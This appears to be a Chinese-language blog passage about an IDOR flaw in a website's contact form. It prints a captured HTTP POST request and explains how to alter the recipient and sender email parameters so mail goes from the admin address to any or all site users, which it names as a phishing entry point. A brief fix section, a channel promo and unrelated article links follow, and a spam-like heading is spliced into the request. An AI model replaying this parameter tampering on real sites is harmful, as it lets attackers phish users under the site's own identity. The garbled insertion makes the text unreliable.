POST /Services/PostContactUsEmail HTTP/1.1仔细看其中提交的参数，它包含了以下几个重要信息：
【电脑网站破解，提取web漏洞】Host: www.whocare.com
Connection: close
Content-Length: 327
Accept: */*
Origin: https://www.whocare.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://www.whocare.com/feedback
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDUCTED]
ContactUs_Name_Txt=hiname&ContactUs_Email_Txt=attacker@gmail.com&ContactUs_MessageType_Txt=%D8%A7%D8%B3%D8%AA%D9%81%D8%B3%D8%A7%D8%B1&ContactUs_Department_Txt=feedback@whocare.com%23%D8%A7%D9%84%D8%AF%D8%B9%D9%85+%D8%A7%D9%84%D9%81%D9%86%D9%8A&ContactUs_MessageBody_Txtthis+is+the+comment&ContactUs_Captcha_Txt=QBAQLU
ContactUs_Department_Txt= 将会收到反馈意见的邮箱地址
ContactUs_Email_Txt= 当前用户用来发送反馈意见的邮箱地址
ContactUs_MessageBody_Txt= 用户发送的反馈意见信息
上面有两个地方的邮箱地址我们可以进行修改，那就是：
ContactUs_Department_Txt=admin@whocare.com
ContactUs_Email_Txt=任何你想发送邮件的用户邮箱地址，或者恶意一点，把它设为网站所有用户邮箱地址 。
这样一来，所有网站用户都会收到一封来自管理员邮箱的邮件，这可以用来作为钓鱼攻击的一个切入点 。
IDOR的修复1、请求或其它操作动作中实施合理的访问权限控制措施；
2、对涉及用户相关的参数使用强加密或随机数生成，不要使用如id=3这种简单直白的数字形式；
关注小白学嘿客，手把手教你学习嘿客攻防、Android/ target=_blank class=infotextkey>安卓渗透、网络安全等相关知识 。
推荐阅读
- 网站架构设计分析及分层架构要素
- 影响网站制作价格的因素有哪些
- 什么是WordPress插件
- 我的网站真的需要云负载均衡器吗？
- 什么是域名劫持以及如何保护自己的网站
- 网站结构从哪方面优化?
- 网站优化的robots.txt使用
- 重定向网站网址的5种方法
- 克隆网站及利用 kali工具 -- setoolkit
- 搭建免费https最简单方法